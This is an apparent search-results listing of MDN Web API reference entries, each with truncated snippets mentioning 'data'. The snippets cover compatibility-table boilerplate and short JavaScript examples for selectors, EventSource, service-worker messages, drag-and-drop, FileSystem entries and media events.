examples dataset selector & attribute selectors <section class="box" id="sect1"> <div class="funnel-chart-percent1">10.900%</div> <div class="funnel-chart-percent2">3700.00%</div> <div class="funnel-chart-percent3">0.00%</div> </section> // dataset selectors const refs = [...document.queryselectorall(`[data-name*="funnel-chart-percent"]`)]; // attribute selectors // const refs = [...document.querysel...
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the iframe elements in the document that contain an attribute named "data-src": var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is "userlist" which have a "data-active" attribute whose value is "1": var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nod...
Element.runtimeStyle - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.scroll() - Web APIs
WebAPIElementscroll
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.scrollLeftMax - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.slot - Web APIs
WebAPIElementslot
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Encrypted Media Extensions API - Web APIs
interfaces mediakeymessageevent contains the content and related data when the content decryption module (cdm) generates a message for the session.
... mediakeys represents a set of keys that an associated htmlmediaelement can use for decryption of media data during playback.
Event.initEvent() - Web APIs
WebAPIEventinitEvent
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Event.msConvertURL() - Web APIs
the msconverturl method instructs the html paste operation on how to modify the src attribute that corresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris.
... example var bloblist = []; document.getelementbyid("pastezone").addeventlistener('paste', handlepaste, false); function handlepaste(evt) { var filelist = window.clipboarddata.files; // note that window.datatransfer.files is not applicable.
EventSource: message event - Web APIs
the message event of the eventsource api is fired when data is received through an event source.
... var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
EventTarget.dispatchEvent() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ExtendableMessageEvent() - Web APIs
init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification.
ExtendableMessageEvent.lastEventId - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
ExtendableMessageEvent.origin - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent.ports - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
ExtendableMessageEvent.source - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
FederatedCredential - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FederatedCredential.protocol - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FederatedCredential.provider - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FederatedCredential - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FetchEvent.navigationPreload - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FetchEvent.respondWith() - Web APIs
for example, if an <img> initiates the request, the response body needs to be image data.
... this prevents the leaking of private data.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
summary the getasbinary method allows to access the file's data in raw binary format.
...s; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.binary.indexof(file.type) > -1) { // file is a binary, which we accept var data = file.getasbinary(); } else if (accept.text.indexof(file.type) > -1) { // file is of type text, which we accept var data = file.getastext(); // modify data with string methods } } } specification not part of any specification.
File.webkitRelativePath - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
File - Web APIs
WebAPIFile
file objects are generally retrieved from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement.
... instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([start[, end[, contenttype]]]) returns a new blob object containing the data in the specified range of bytes of the source blob.
FileEntrySync - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReader: progress event - Web APIs
the progress event is fired periodically as the filereader reads data.
...event); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileSystem.name - Web APIs
WebAPIFileSystemname
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystem.root - Web APIs
WebAPIFileSystemroot
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.createReader() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
example directory.removerecursively(function() { /* the directory was removed successfully */ }, function() { /* an error occurred while removing the directory */ }); browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry - Web APIs
draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryReader - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.copyTo() - Web APIs
workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.copyto(direntry); }, handleerror); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.filesystem - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.getParent() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.isDirectory - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.isFile - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.moveTo() - Web APIs
workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.name - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.remove() - Web APIs
workingdirectory.getfile("tmp/workfile.json", {}, function(fileentry) { fileentry.remove(function() { /* the file was removed successfully */ }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.toURL() - Web APIs
createelement("img"); img.src = imagefileentry.tourl(); document.body.appendchild(img); assuming the scenario mentioned before the code, the result would be html that looks like this being appended to the end of the document: <img src="filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg"> browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFlags.create - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFlags.exclusive - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemSync - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
File and Directory Entries API - Web APIs
getting access to a file system there are two ways to get access to file systems defined in the current specification draft: when handling a drop event for drag and drop, you can call datatransferitem.webkitgetasentry() to get the filesystementry for a dropped item.
... metadata specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
FontFace.display - Web APIs
WebAPIFontFacedisplay
(they are the same as for font-display.) browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FontFaceSetLoadEvent.fontfaces - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FontFaceSetLoadEvent - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
GainNode() - Web APIs
WebAPIGainNodeGainNode
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Gamepad.timestamp - Web APIs
WebAPIGamepadtimestamp
the gamepad.timestamp property of the gamepad interface returns a domhighrestimestamp representing the last time the data for this gamepad was updated.
... the idea behind this is to allow developers to determine if the axes and button data have been updated from the hardware.
Using the Gamepad API - Web APIs
disconnecting a gamepad when a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g.
... timestamp: this returns a domhighrestimestamp representing the last time the data for this gamepad was updated, allowing developers to determine if the axes and button data have been updated from the hardware.
GestureEvent - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
GlobalEventHandlers.ondragend - Web APIs
ntent="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild...
...(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
GlobalEventHandlers.ondragenter - Web APIs
ntent="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild...
...(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
GlobalEventHandlers.ondragexit - Web APIs
ntent="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild...
...(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
GlobalEventHandlers.ondragleave - Web APIs
> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.a...
...ppendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here &hellip;</a></p> <p><a href="#" data-tooltip="second link">&hellip; or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.se...
...tattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show = function(event) { node.textcontent = event.target.dataset.tooltip; node.removeattribute('hidden'); }; this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); links.foreach(link => { link.onmouseover = tooltip.show; link.onmousemove = tooltip.follow; link.onmouseout = tooltip.hide; }); result draggable elements we also have an example available showing the use of the onmousemove event handler with draggable objects — view the example in action.
HTMLAnchorElement.referrerPolicy - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLAreaElement.referrerPolicy - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Audio() - Web APIs
if it's htmlmediaelement.have_future_data, there's enough data available to begin playback and play for at least a short time.
... if it's htmlmediaelement.have_enough_data, then there's enough data available that, given the current download rate, you should be able to play the audio through to the end without interruption.
HTMLDetailsElement: toggle event - Web APIs
html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="summaries"> <b>chapter summaries:</b> <details id="ch1"> <summary>chapter i</summary> philosophy reproves boethius for the foolishness of his complaints against fortune.
... </details> </section> css body { display: flex; flex-direction: row-reverse; } #log { flex-shrink: 0; padding-left: 3em; } #summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html living standardthe definition of 'toggle event' in that specification.
HTMLElement.offsetParent - Web APIs
working draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLElement.offsetTop - Web APIs
working draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLElement - Web APIs
htmlorforeignelement.dataset read only returns a domstringmap with which script can read and write the element's custom data attributes (data-*) .
... recommendation added the following properties: dataset, hidden, tabindex, accesskey, accesskeylabel, draggable, dropzone, contenteditable, iscontenteditable, contextmenu, spellcheck, commandtype, commandlabel, commandicon, commandhidden, commanddisabled, commandchecked, style, and all the onxyz properties.
HTMLHeadElement - Web APIs
the htmlheadelement interface contains the descriptive information, or metadata, for a document.
... htmlheadelement.profile is a domstring representing the uris of one or more metadata profiles (white space separated).
HTMLIFrameElement.allowPaymentRequest - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLIFrameElement.csp - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLIFrameElement.referrerPolicy - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLIFrameElement.src - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.align - Web APIs
recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.alt - Web APIs
unknown browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.border - Web APIs
recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.complete - Web APIs
unknown browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.crossOrigin - Web APIs
unknown browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.currentSrc - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.decoding - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.height - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.hspace - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.isMap - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.longDesc - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.lowSrc - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.name - Web APIs
recommendation provides additional details not available in the html 5 browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.referrerPolicy - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.sizes - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.src - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.srcset - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.useMap - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.vspace - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.width - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.x - Web APIs
working draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.y - Web APIs
working draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLInputElement.webkitEntries - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLInputElement.webkitdirectory - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLLinkElement.as - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement.controlsList - Web APIs
specifications specification status comment controls list api: solution outline browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement: ended event - Web APIs
the ended event is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ended', (event) => { console.log('video stopped either because 1) it was over, ' + 'or 2) no further data is available.'); }); using the onended event handler property: const video = document.queryselector('video'); video.onended = (event) => { console.log('video stopped either because 1) it was over, ' + 'or 2) no further data is available.'); }; specifications specification status html living standardthe definition of 'ended media event' in that specification.
HTMLMediaElement.onencrypted - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement.onwaitingforkey - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement: stalled event - Web APIs
the stalled event is fired when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const video = document.queryselector('video'); video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification status html living standardthe definition of 'stalled media event' in that specification.
HTMLMediaElement: suspend event - Web APIs
the suspend event is fired when media data loading has been suspended.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('suspend', (event) => { console.log('data loading has been suspended.'); }); using the onsuspend event handler property: const video = document.queryselector('video'); video.onsuspend = (event) => { console.log('data loading has been suspended.'); }; specifications specification status html living standardthe definition of 'suspend media event' in that specification.
HTMLMediaElement: waiting event - Web APIs
the waiting event is fired when playback has stopped because of a temporary lack of data.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('waiting', (event) => { console.log('video is waiting for more data.'); }); using the onwaiting event handler property: const video = document.queryselector('video'); video.onwaiting = (event) => { console.log('video is waiting for more data.'); }; specifications specification status html living standardthe definition of 'waiting media event' in that specification.
HTMLScriptElement.referrerPolicy - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLSlotElement.assignedElements() - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLSlotElement.name - Web APIs
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLTableCellElement - Web APIs
the htmltablecellelement interface provides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of table cells, either header or data cells, in an html document.
...this alternate label can be used in other contexts, such as when describing the headers that apply to a data cell.
HTMLTrackElement.src - Web APIs
the htmltrackelement.src property reflects the value of the <track> element's src attribute, which indicates the url of the text track's data.
... syntax var texttrackurl = htmltrackelement.src; value a domstring object containing the url of the text track data.
History.back() - Web APIs
WebAPIHistoryback
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
History.forward() - Web APIs
WebAPIHistoryforward
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
History.pushState() - Web APIs
WebAPIHistorypushState
you can associate arbitrary data with your new history entry.
... with the hash-based approach, you need to encode all of the relevant data into a short string.
History.scrollRestoration - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBEnvironmentSync - Web APIs
attributes attribute type description indexeddbsync readonly idbfactorysync provides a synchronous means of accessing the capabilities of indexed databases.
